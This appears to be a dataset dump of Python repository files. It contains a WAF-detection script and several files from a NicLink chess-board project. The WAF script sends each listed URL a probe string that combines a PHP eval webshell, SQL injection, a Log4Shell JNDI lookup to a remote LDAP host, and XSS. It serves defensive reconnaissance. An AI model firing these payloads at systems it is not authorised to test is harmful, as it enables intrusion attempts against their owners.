id
int64 0
458k
| file_name
stringlengths 4
119
| file_path
stringlengths 14
227
| content
stringlengths 24
9.96M
| size
int64 24
9.96M
| language
stringclasses 1
value | extension
stringclasses 14
values | total_lines
int64 1
219k
| avg_line_length
float64 2.52
4.63M
| max_line_length
int64 5
9.91M
| alphanum_fraction
float64 0
1
| repo_name
stringlengths 7
101
| repo_stars
int64 100
139k
| repo_forks
int64 0
26.4k
| repo_open_issues
int64 0
2.27k
| repo_license
stringclasses 12
values | repo_extraction_date
stringclasses 433
values |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
2,286,600 | check-waf-v1.3.py | Huck-Lim_check-waf/check-waf-v1.3.py | import os
import sys
import requests
from openpyxl import Workbook
from openpyxl.styles import Border, Side, Font, Alignment
from openpyxl.utils import get_column_letter
from datetime import datetime
from bs4 import BeautifulSoup
from publicsuffixlist import PublicSuffixList
from urllib.parse import urlsplit
from urllib3.exceptions import InsecureRequestWarning
# 禁用不安全请求的警告
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
def get_primary_domain(url):
psl = PublicSuffixList()
#domain = psl.privatesuffix(url)
netloc = urlsplit(url).netloc
domain = psl.privatesuffix(netloc)
return domain
def read_urls_from_file(file_path):
with open(file_path, 'r') as file:
return file.read().splitlines()
def get_response_info(url,headers):
try:
response = requests.get(url, headers=headers, verify=False ,timeout=5)
soup = BeautifulSoup(response.content, 'html.parser')
title = soup.title.string.strip() if soup.title and soup.title.string else "无标题"
status_code = response.status_code
return title, status_code
except requests.exceptions.Timeout:
return "请求超时", 1
except requests.exceptions.ConnectionError:
return "连接被拒绝", 0
def check_waf(url, payloads, headers=None):
results = []
for payload in payloads:
target_url = url + payload
result = {}
result['URL'] = url
result['Payload'] = target_url
result['domain'] = get_primary_domain(url)
# print(target_url)
print('=======================================')
print(url)
print('----------------不含poc----------------')
before_title, before_code = get_response_info(url, headers)
after_title, after_code = get_response_info(target_url, headers)
print(before_code,before_title)
print('----------------含poc------------------')
print(after_code,after_title)
print('--------------检测结果-----------------')
result['after_code'] = after_code
result['before_code'] = before_code
result['after_title'] = after_title
result['before_title'] = before_title
# if((before_code == 200 and after_code == 403) or (before_code == 200 and after_code == 0) or (before_code != 200 and after_code == 0)):
# print('存在WAF')
# elif((before_code == 200 and after_code != 200 or after_code != 403 or after_code != 0)):
# print(1)
if(before_code == 200):
if(after_code == 403 or after_code == 0 or after_code == 1):
print('存在WAF')
result['WAF_Status'] = '存在WAF'
elif(after_code == 200 and before_title == after_title):
print('不存在WAF')
result['WAF_Status'] = '不存在WAF'
else:
print('疑似存在WAF')
result['WAF_Status'] = '疑似存在WAF'
elif(before_code != 0 and before_code != 1):
if(after_code == 0 or after_code == 1):
print('存在WAF')
result['WAF_Status'] = '存在WAF'
elif((after_code != before_code) or (after_code == before_code and before_title != after_title)):
print('疑似存在WAF')
result['WAF_Status'] = '疑似存在WAF'
elif(after_code == before_code and before_title == after_title):
print('不存在WAF')
result['WAF_Status'] = '不存在WAF'
else:
print('漏网之鱼')
result['WAF_Status'] = '漏网之鱼'
elif(before_code == 0):
print('站点无法访问')
# 被服务器拒绝。站点可能无法访问或者被安全设备封禁了
result['WAF_Status'] = '站点无法访问'
else:
print('请求超时,网络异常')
result['WAF_Status'] = '请求失败'
results.append(result)
return results
def get_filename_without_extension(file_path):
base_name = os.path.basename(file_path) # 获取路径的基本文件名
file_name_without_extension, _ = os.path.splitext(base_name) # 分割文件名和扩展名
return file_name_without_extension
def set_border(sheet):
# 设置框线
border = Border(left=Side(style='thin'), right=Side(style='thin'),
top=Side(style='thin'), bottom=Side(style='thin'))
for row in ws.iter_rows(min_row=1, max_row=ws.max_row, min_col=1, max_col=ws.max_column):
for cell in row:
cell.border = border
def set_columns(sheet):
# 设置列宽为最适合的列宽
for col in ws.columns:
max_length = 0
column = [cell for cell in col]
for cell in column:
try:
if len(str(cell.value)) > max_length:
max_length = len(cell.value)
except:
pass
adjusted_width = (max_length + 2)
ws.column_dimensions[get_column_letter(col[0].column)].width = adjusted_width
url_file_path = 'urls.txt'
try:
url_file_path = sys.argv[1]
file_name = get_filename_without_extension(url_file_path)
except:
print('请输入txt文件名,默认读取urls.txt!')
print('python3 check-waf.py urls.txt')
sys.exit()
urls = read_urls_from_file(url_file_path)
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}
payloads = ["?a=<%3fphp+%40eval($_GET['cmd'])%3b%3f>&b=1'+or+'1'%3d'1&c=${jndi%3aldap%3a//10.0.0.1%3a8080/Exploit}&s=<script>alert(1)</script>&id=UNION+SELECT+ALL+FROM+information_schema+AND+'+or+SLEEP(5)+or+'"] # 这里可以添加更多的payload
results = []
for url in urls:
results.extend(check_waf(url, payloads, headers))
# 创建一个新的Excel工作簿
wb = Workbook()
# 获取当前活动的工作表
ws = wb.active
# 设置第一行为"URL"、"Payload"和"WAF_Status",并应用字体和对齐样式
for i, title in enumerate(["URL", "domain","before_code", "before_title", "after_code", "after_title", "WAF_Status"], start=1):
cell = ws.cell(row=1, column=i, value=title)
cell.font = Font(bold=True)
cell.alignment = Alignment(horizontal='center', vertical='center')
# 将结果保存到Excel文件中
for i, result in enumerate(results, start=2):
ws.cell(row=i, column=1, value=result['URL'])
ws.cell(row=i, column=2, value=result['domain'])
ws.cell(row=i, column=3, value=result['before_code'])
ws.cell(row=i, column=4, value=result['before_title'])
ws.cell(row=i, column=5, value=result['after_code'])
ws.cell(row=i, column=6, value=result['after_title'])
# ws.cell(row=i, column=3, value=result['WAF_Status'])
if 'WAF_Status' in result:
ws.cell(row=i, column=7, value=result['WAF_Status'])
else:
ws.cell(row=i, column=7, value='N/A')
ws.cell(row=i, column=8, value=result['Payload'])
# 设置框线
set_border(ws)
# 设置列宽为最适合的列宽
set_columns(ws)
# 获取当前时间并格式化为字符串
current_time = datetime.now().strftime('%Y-%m-%d_%H-%M-%S')
# 保存Excel文件
wb.save(f"{file_name}_waf_results_{current_time}.xlsx")
| 7,476 | Python | .py | 160 | 35.1625 | 232 | 0.601773 | Huck-Lim/check-waf | 8 | 2 | 1 | MPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,601 | extract_version.py | nicvagn_NicLink/src/thirdparty/spdlog/scripts/extract_version.py | #!/usr/bin/env python3
import os
import re
base_path = os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))
config_h = os.path.join(base_path, 'include', 'spdlog', 'version.h')
data = {'MAJOR': 0, 'MINOR': 0, 'PATCH': 0}
reg = re.compile(r'^\s*#define\s+SPDLOG_VER_([A-Z]+)\s+([0-9]+).*$')
with open(config_h, 'r') as fp:
for l in fp:
m = reg.match(l)
if m:
data[m.group(1)] = int(m.group(2))
print(f"{data['MAJOR']}.{data['MINOR']}.{data['PATCH']}")
| 497 | Python | .py | 13 | 34.461538 | 74 | 0.579167 | nicvagn/NicLink | 8 | 3 | 0 | GPL-3.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,602 | turn_out_all_lights.py | nicvagn_NicLink/nicsoft/turn_out_all_lights.py | # NicLink is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
#
# NicLink is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along with NicLink. If not, see <https://www.gnu.org/licenses/>.
from niclink import NicLinkManager
print("\nTURNING OUT ALL THE LIGHTS\n")
man = NicLinkManager(2, None)
man.turn_off_all_LEDs()
| 739 | Python | .py | 9 | 80.777778 | 237 | 0.789546 | nicvagn/NicLink | 8 | 3 | 0 | GPL-3.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,603 | light_board.py | nicvagn_NicLink/nicsoft/light_board.py | # light_board is a part of NicLink
#
# NicLink is free software: you can redistribute it and/or modify it under the terms of the gnu general public license as published by the free software foundation, either version 3 of the license, or (at your option) any later version.
#
# NicLink is distributed in the hope that it will be useful, but without any warranty; without even the implied warranty of merchantability or fitness for a particular purpose. see the gnu general public license for more details.
#
# you should have received a copy of the gnu general public license along with NicLink. if not, see <https://www.gnu.org/licenses/>.
class LightBoard:
"""a representation of the LED's on a chessnut air"""
def __init__(self, lit_squares: List[str]) -> None:
"""init a lightboard with each of the list of squares lit up.
@param: lit_squares - a list of squares to set as lit in SAN
"""
light_board = np.array(
[
"00000000",
"00000000",
"00000000",
"00000000",
"00000000",
"00000000",
"00000000",
"00000000",
],
dtype=np.str_,
)
def __str__(self) -> str:
return (
str(light_board[0]),
str(light_board[1]),
str(light_board[2]),
str(light_board[3]),
str(light_board[4]),
str(light_board[5]),
str(light_board[6]),
str(light_board[7]),
)
def _build_led_map(moves: List[str]) -> None:
"""build the led_map for given uci moves
@param: moves - move list in uci
"""
global logger, ZEROS
zeros = "00000000"
logger.info("build_led_map_for_move's(%s)", moves)
led_map = np.copy(ZEROS)
# get the squars and the coordinates
s1 = move[:2]
s2 = move[2:]
s1_cords = square_cords(s1)
s2_cords = square_cords(s2)
# set 1st square
led_map[s1_cords[1]] = zeros[: s1_cords[0]] + "1" + zeros[s1_cords[0] :]
# set second square
led_map[s2_cords[1]] = zeros[: s2_cords[0]] + "1" + zeros[s2_cords[0] :]
logger.info("led map made for move: %s\n", move)
log_led_map(led_map)
return led_map
| 2,365 | Python | .py | 57 | 31.824561 | 237 | 0.572237 | nicvagn/NicLink | 8 | 3 | 0 | GPL-3.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,604 | __main__.py | nicvagn_NicLink/nicsoft/play_stockfish/__main__.py | # NicLink is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or ( at your option ) any later version.
#
# NicLink is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along with NicLink. If not, see <https://www.gnu.org/licenses/>.
import argparse
import importlib
import logging
import logging.handlers
import os
# debbuging
import pdb
# sys stuff
import sys
import threading
import time
import traceback
import chess
# chess stuff
import chess.pgn
import readchar
# the fish
from stockfish import Stockfish
# NicLink shit
from niclink import NicLinkManager
logger = logging.getLogger("NL play Fish")
logger.setLevel(logging.DEBUG)
# create console handler and set level to debug
ch = logging.StreamHandler()
ch.setLevel(logging.DEBUG)
# create formatter
formatter = logging.Formatter("%(name)s - %(levelname)s | %(message)s")
# add formatter to ch
ch.setFormatter(formatter)
# add ch to logger
logger.addHandler(ch)
class Game(threading.Thread):
"""a chessgame with stockfish handled in it's own thread"""
def __init__(
self, NicLinkManager, playing_white, stockfish_level=5, **kwargs
) -> None:
super().__init__(**kwargs)
self.nl_inst = NicLinkManager
# bool of if your playing white
self.playing_white = playing_white
# init stockfish
self.fish = Stockfish()
self.fish.set_skill_level(stockfish_level)
# list of all the game moves
self.moves = []
# is the game over?
self.game_over = False
def check_for_game_over(self) -> None:
"""check if the game is over"""
# is_game_over() will return False or a dictionary with:
# {"over": bool, "winner": str or False, "reason": str}
over_state = self.nl_inst.is_game_over()
if not over_state:
# the game is still going
return
# otherwise, tell the user and exit
if over_state["winner"]:
winner = "Black"
else:
winner = "White"
print(
f"Winner: { winner } reason: {over_state['reason']} \n \
have a nice day."
)
sys.exit(0)
def handle_human_turn(self) -> None:
"""Handle a human turn in the game"""
global logger
logger.info("\n--- human turn ---\n")
try:
# hack
move = None
while move is None:
move = self.nl_inst.await_move()
time.sleep(0.3)
# await move from e-board the move from niclink
print(f"move from board: { move }")
except KeyboardInterrupt:
print("Bye!")
sys.exit(0)
logger.info(f"move from chessboard { move }")
# make the move on the nl gameboard
self.nl_inst.opponent_moved(move)
# check if the game is done
self.check_for_game_over()
def handle_fish_turn(self) -> None:
"""handle fish's turn"""
global logger
logger.info("Fish's turn")
self.fish.set_fen_position(self.nl_inst.get_game_FEN())
# get stockfishes move
fish_move = self.fish.get_best_move()
logger.info(f"Fish's move { fish_move }")
# make move on the niclink internal board
self.nl_inst.make_move_game_board(fish_move)
print(f"board after fish turn:")
self.nl_inst.show_game_board()
# check for game over
self.check_for_game_over()
def ensure_updated_board(self) -> None:
"""enrsre the external board is fully updated"""
while not self.nl_inst.check_game_board_against_external():
logger.debug("board not updated correctly")
time.sleep(0.3)
def start(self) -> None:
"""start playing the game"""
# start by turning off all the lights
self.nl_inst.turn_off_all_LEDs()
self.run()
def run(self) -> None:
"""run the game thread"""
# main game loop
while True:
if self.playing_white:
# if we go first, go first
self.handle_human_turn()
# breakpoint()
# do the fish turn
self.handle_fish_turn()
# make sure board is valid
self.ensure_updated_board()
# breakpoint()
if not self.playing_white:
# case we are black
self.handle_human_turn()
def main():
# NicLinkManager
nl_inst = NicLinkManager(refresh_delay=2, logger=logger)
print("\n%%%%%% NicLink vs Stockfish %%%%%%\n")
print("What level do you want for the fish? (1 - 33) for info enter i, else level")
while True:
sf_lvl = input("level (1 - 33):")
if sf_lvl == "i":
print(
"""I found this online, and stole it:
Stockfish 16 UCI_Elo was calibrated with CCRL.
# PLAYER : RATING ERROR POINTS PLAYED (%)
1 master-skill-19 : 3191.1 40.4 940.0 1707 55
2 master-skill-18 : 3170.3 39.3 1343.0 2519 53
3 master-skill-17 : 3141.3 37.8 2282.0 4422 52
4 master-skill-16 : 3111.2 37.1 2773.0 5423 51
5 master-skill-15 : 3069.5 37.2 2728.5 5386 51
6 master-skill-14 : 3024.8 36.1 2702.0 5339 51
7 master-skill-13 : 2972.9 35.4 2645.5 5263 50
8 master-skill-12 : 2923.1 35.0 2653.5 5165 51
9 master-skill-11 : 2855.5 33.6 2524.0 5081 50
10 master-skill-10 : 2788.3 32.0 2724.5 5511 49
11 stash-bot-v25.0 : 2744.0 31.5 1952.5 3840 51
12 master-skill-9 : 2702.8 30.5 2670.0 5018 53
13 master-skill-8 : 2596.2 28.5 2669.5 4975 54
14 stash-bot-v21.0 : 2561.2 30.0 1338.0 3366 40
15 master-skill-7 : 2499.5 28.5 1934.0 4178 46
16 stash-bot-v20.0 : 2452.6 27.7 1606.5 3378 48
17 stash-bot-v19.0 : 2425.3 26.7 1787.0 3365 53
18 master-skill-6 : 2363.2 26.4 2510.5 4379 57
19 stash-bot-v17.0 : 2280.7 25.4 2209.0 4378 50
20 master-skill-5 : 2203.7 25.3 2859.5 5422 53
21 stash-bot-v15.3 : 2200.0 25.4 1757.0 4383 40
22 stash-bot-v14 : 2145.9 25.5 2890.0 5167 56
23 stash-bot-v13 : 2042.7 25.8 2263.5 4363 52
24 stash-bot-v12 : 1963.4 25.8 1769.5 4210 42
25 master-skill-4 : 1922.9 25.9 2690.0 5399 50
26 stash-bot-v11 : 1873.0 26.3 2203.5 4335 51
27 stash-bot-v10 : 1783.8 27.8 2568.5 4301 60
28 master-skill-3 : 1742.3 27.8 1909.5 4439 43
29 master-skill-2 : 1608.4 29.4 2064.5 4389 47
30 stash-bot-v9 : 1582.6 30.2 2130.0 4230 50
31 master-skill-1 : 1467.6 31.3 2015.5 4244 47
32 stash-bot-v8 : 1452.8 31.5 1953.5 3780 52
33 master-skill-0 : 1320.1 32.9 651.5 2083 31
credit: https://chess.stackexchange.com/users/25998/eric\n"""
)
continue
try:
if int(sf_lvl) > 0 and int(sf_lvl) <= 33:
break
except ValueError:
print("invalid entry. Try again.")
continue
else:
print("invalid. Try again")
continue
print("Do you want to play white? (y/n)")
playing_w = readchar.readkey()
playing_white = playing_w == "y"
game = Game(nl_inst, playing_white, stockfish_level=sf_lvl)
print("game started")
if playing_white:
print("make a move please")
game.start()
if __name__ == "__main__":
main()
| 8,070 | Python | .py | 197 | 33.93401 | 239 | 0.590392 | nicvagn/NicLink | 8 | 3 | 0 | GPL-3.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,605 | test_niclink_signals.py | nicvagn_NicLink/nicsoft/test/test_niclink_signals.py | # This file is a part of NicLink
#
# NicLink is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
#
# NicLink is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along with NicLink. If not, see <https://www.gnu.org/licenses/>.
import readchar
from niclink import NicLinkManager
def test():
print("\n+++++ NicLink: testing signals ++++\n")
print("nl.signal_lights(1): press enter for next")
nl.signal_lights(1)
readchar.readchar()
print("nl.signal_lights(2): press enter for next")
nl.signal_lights(2)
readchar.readchar()
print("nl.signal_lights(3): press enter for next")
nl.signal_lights(3)
readchar.readchar()
print("nl.signal_lights(4): press enter for next")
nl.signal_lights(4)
readchar.readchar()
print("nl.signal_lights(5): press enter for next")
nl.signal_lights(5)
readchar.readchar()
print("nl.signal_lights(6): press enter for next")
nl.signal_lights(6)
readchar.readchar()
print("end")
if __name__ == "__main__":
# connect to the board
nl = NicLinkManager(1)
test()
| 1,496 | Python | .py | 34 | 40 | 237 | 0.71832 | nicvagn/NicLink | 8 | 3 | 0 | GPL-3.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,606 | __main__.py | nicvagn_NicLink/nicsoft/test/__main__.py | # This file is a part of NicLink
#
# NicLink is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
#
# NicLink is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along with NicLink. If not, see <https://www.gnu.org/licenses/>.
print("NicLink: Running all tests")
import logging
import time
import chess
import numpy as np
import readchar
import test_niclink_board_compairison as nlbc
import test_niclink_FEN as nlf
import test_niclink_lights as nll
import test_niclink_move_parsing as nlmv
from niclink import NicLinkManager
ONES = np.array(
[
"11111111",
"11111111",
"11111111",
"11111111",
"11111111",
"11111111",
"11111111",
"11111111",
],
dtype=np.str_,
)
ZEROS = np.array(
[
"00000000",
"00000000",
"00000000",
"00000000",
"00000000",
"00000000",
"00000000",
"00000000",
],
dtype=np.str_,
)
global logger
logger = logging.getLogger("test_all")
def test_usb():
"""test usb connection"""
global logger
b1 = chess.Board()
b2 = chess.Board()
b2.push_uci("e2e4")
nl_man = NicLinkManager(2, logger=logger)
nl_man.signal_lights(1)
logger.info("TEST: show board diff: shold be e2e4 lit up.")
nl_man.show_board_diff(b1, b2)
readchar.readchar()
print("TEST: set_move_led w map")
print("e2e4")
nl_man.set_move_LEDs("e2e4")
readchar.readchar()
print("BOARD CLEAR, press a key")
nl_man.set_all_LEDs(ZEROS)
readchar.readchar()
print("TEST: man.show_board_diff(b1,b2)")
nl_man.show_board_diff(b1, b2)
readchar.readchar()
print("(test usb connection) testing set_all_LEDs.")
nl_man.set_all_LEDs(ONES)
print("all the lights should be on, confirm and press enter")
readchar.readchar()
nl_man.set_all_LEDs(ZEROS)
print("all the lights should be off, confirm and press enter")
readchar.readchar()
print(
"testing man.signal_lights(). lights should flash on and return to showing last move"
)
nl_man.signal_lights(1)
print("(test usb connection) set up the board and press enter.")
nl_man.show_game_board()
print(
"Now, make a move on the board and test move geting. Press return when ready. This is the last test."
)
readchar.readkey()
while True:
# TODO: make sure await move work's
move = nl_man.await_move()
nl_man.make_move_game_board(move)
print(move)
time.sleep(2)
print(
"testing man.signal_lights(). lights should flash on and return to showing last move"
)
nl_man.signal_lights(1)
if __name__ == "__main__":
test_usb()
| 3,147 | Python | .py | 96 | 27.458333 | 237 | 0.667768 | nicvagn/NicLink | 8 | 3 | 0 | GPL-3.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,607 | test_niclink_lights.py | nicvagn_NicLink/nicsoft/test/test_niclink_lights.py | # NicLink is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
#
# NicLink is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along with NicLink. If not, see <https://www.gnu.org/licenses/>.
import time
from niclink import NicLinkManager
print("\n\n====== NicLink test lights ====== \n")
# connect to the board
def test():
nl = NicLinkManager(1)
print("all the lights should come on, starting with a1 finishing with h8")
for x in range(1, 9):
nl.beep()
for a in range(1, 9):
square = chr(ord("`") + a) + str(x)
print(square + " on")
nl.set_led(square, True)
time.sleep((0.01))
for x in range(1, 9):
for a in range(1, 9):
square = chr(ord("`") + a) + str(x)
print(square + " off")
nl.set_led(square, False)
def set_move_leds(move):
nl.set_move_LEDs(move)
if __name__ == "__main__":
# connect to the board
nl = NicLinkManager(1)
test()
# set_move_leds("a4h4")
| 1,430 | Python | .py | 31 | 40.096774 | 237 | 0.653208 | nicvagn/NicLink | 8 | 3 | 0 | GPL-3.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,608 | test_niclink_FEN.py | nicvagn_NicLink/nicsoft/test/test_niclink_FEN.py | # NicLink is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
#
# NicLink is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along with NicLink. If not, see <https://www.gnu.org/licenses/>.
import readchar
from niclink import NicLinkManager
def test():
print("\n+++++ niclink test: FEN reading ++++\n")
exit = "n"
while exit == "n":
currentFEN = nl_inst.get_FEN()
nl.show_FEN_on_board(currentFEN)
print("do you want to exit? 'n' for no \n")
exit = readchar.readchar()
if __name__ == "__main__":
# connect to the board
nl = NicLinkManager(1)
test()
# set_move_leds("a4h4")
| 1,058 | Python | .py | 20 | 48.45 | 237 | 0.707483 | nicvagn/NicLink | 8 | 3 | 0 | GPL-3.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,609 | test_niclink_move_parsing.py | nicvagn_NicLink/nicsoft/test/test_niclink_move_parsing.py | # NicLink is free software you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
#
# NicLink is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along with NicLink. If not, see <https://www.gnu.org/licenses/>.
import sys
import time
import chess
import readchar
from niclink import NicLinkManager
def test():
print("\n=====================\n Test Move Parsing \n=====================\n")
leave = "n"
while leave == "n":
print("make a legal move:\n")
# wait for a move
try:
move = nl.await_move()
except ValueError:
print("No move, pausing for 3 seconds and trying again")
time.sleep(3)
continue
# show the internal board state
# nl_inst.show_game_board()
print(f"\n==== { move } ====\n")
print("leave? 'n' for no, != 'n' yes: ")
leave = readchar.readkey()
if __name__ == "__main__":
nl = NicLinkManager(2)
test()
| 1,364 | Python | .py | 30 | 39.3 | 236 | 0.645944 | nicvagn/NicLink | 8 | 3 | 0 | GPL-3.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,610 | nl_test_threading.py | nicvagn_NicLink/nicsoft/test/nl_test_threading.py | # niclink is free software: you can redistribute it and/or modify it under the terms of the gnu general public license as published by the free software foundation, either version 3 of the license, or (at your option) any later version.
#
# niclink is distributed in the hope that it will be useful, but without any warranty; without even the implied warranty of merchantability or fitness for a particular purpose. see the gnu general public license for more details.
#
# you should have received a copy of the gnu general public license along with niclink. if not, see <https://www.gnu.org/licenses/>.
import logging
import threading
import readchar
from niclink import NicLinkManager
def test():
"""test usb connection"""
print("set up the board and press enter.")
nl_thread.show_game_board()
print("===============")
readchar.readkey()
# set the niclink flag for starting a game
nl_thread.start_game.set()
leave = "n"
while leave == "n":
print("leave test_threading? ('n' for no)")
leave = readchar.readkey()
nl_thread.gameover_lights()
# set the nl_thread kill switch
nl_thread.kill_switch.set()
if __name__ == "__main__":
logger = logging.getLogger()
logger.setLevel(logging.DEBUG)
nl_thread = NicLinkManager(2, logger)
nl_thread.start()
test()
| 1,352 | Python | .py | 30 | 40.8 | 237 | 0.714067 | nicvagn/NicLink | 8 | 3 | 0 | GPL-3.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,611 | test_niclink_board_compairison.py | nicvagn_NicLink/nicsoft/test/test_niclink_board_compairison.py | # NicLink is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
#
# NicLink is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along with NicLink. If not, see <https://www.gnu.org/licenses/>.to use the len() function
import chess
from niclink import NicLinkManager
def test():
print("test niclink board compaire")
b1 = chess.Board()
b2 = chess.Board()
nl = NicLinkManager(1)
print("test identical boards(should be no diff)")
nl.show_board_diff(b1, b2)
print("@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@")
print("should be a diff on e2 e4")
b1.push_uci("e2e4")
nl.show_board_diff(b1, b2)
print("@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@")
print("should be a lot of diffs")
b2.set_fen("r1bqkb1r/pppp1Qpp/2n2n2/4p3/2B1P3/8/PPPP1PPP/RNB1K1NR b KQkq - 0 4")
nl.show_board_diff(b1, b2)
if __name__ == "__main__":
nl = NicLinkManager(2)
test()
| 1,342 | Python | .py | 25 | 49.64 | 237 | 0.667433 | nicvagn/NicLink | 8 | 3 | 0 | GPL-3.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,612 | nl_exceptions.py | nicvagn_NicLink/nicsoft/niclink/nl_exceptions.py | # NicLink is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
#
# NicLink is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along with NicLink. If not, see <https://www.gnu.org/licenses/>.
class NoMove(Exception):
"""Exception raised when there is no move from chessboard (ie: the game board FEN == FEN from the external board)"""
def __init__(self, message):
self.message = message
class IllegalMove(Exception):
"""Exception raised when an illegal move is on the external board"""
def __init__(self, message):
self.message = message
class ExitNicLink(Exception):
"""Exception raised to quit NicLink"""
def __init__(self, message):
self.message = message
class NoNicLinkFEN(Exception):
"""raised when fen is None"""
def __init__(self, message):
self.message = message
class NicLinkGameOver(Exception):
"""the game on NicLink is over"""
def __init__(self, message):
self.message = message
class NicLinkHandlingGame(Exception):
"""NicLink is handling a game, and the action can not be preformed"""
def __init__(self, message):
self.message = message
| 1,580 | Python | .py | 29 | 49.551724 | 237 | 0.722114 | nicvagn/NicLink | 8 | 3 | 0 | GPL-3.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,613 | nl_test_bluetooth.py | nicvagn_NicLink/nicsoft/niclink/nl_test_bluetooth.py | # NicLink is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
#
# NicLink is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along with NicLink. If not, see <https://www.gnu.org/licenses/>.
import nl_bluetooth
nl_bluetooth.connect()
| 652 | Python | .py | 7 | 91.857143 | 237 | 0.793157 | nicvagn/NicLink | 8 | 3 | 0 | GPL-3.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,614 | driver.py | nicvagn_NicLink/nicsoft/niclink/driver.py | # NicLink is free software: you can redistribute it and/or modify it under the terms of the gnu general public license as published by the free software foundation, either version 3 of the license, or (at your option) any later version.
#
# NicLink is distributed in the hope that it will be useful, but without any warranty; without even the implied warranty of merchantability or fitness for a particular purpose. see the gnu general public license for more details.
#
# you should have received a copy of the gnu general public license along with NicLink. if not, see <https://www.gnu.org/licenses/>.
import logging
# system
import sys
import threading
import time
# pip libraries
import chess
import numpy as np
import numpy.typing as npt
# mine
import niclink._niclink as _niclink
import niclink.nl_bluetooth
from niclink.nl_exceptions import (ExitNicLink, IllegalMove, NoMove,
NoNicLinkFEN)
### CONSTANTS ###
ONES = np.array(
[
"11111111",
"11111111",
"11111111",
"11111111",
"11111111",
"11111111",
"11111111",
"11111111",
],
dtype=np.str_,
)
ZEROS = np.array(
[
"00000000",
"00000000",
"00000000",
"00000000",
"00000000",
"00000000",
"00000000",
"00000000",
],
dtype=np.str_,
)
FILES = np.array(["a", "b", "c", "d", "e", "f", "g", "h"])
NO_MOVE_DELAY = 0.1 # I think having a logger delay makes bord unresponsive
LIGHT_THREAD_DELAY = 0.8
# ## logger ###
logger = logging.getLogger("NicLink")
class NicLinkManager(threading.Thread):
"""manage Chessnut air external board in it's own thread"""
def __init__(
self,
refresh_delay: float,
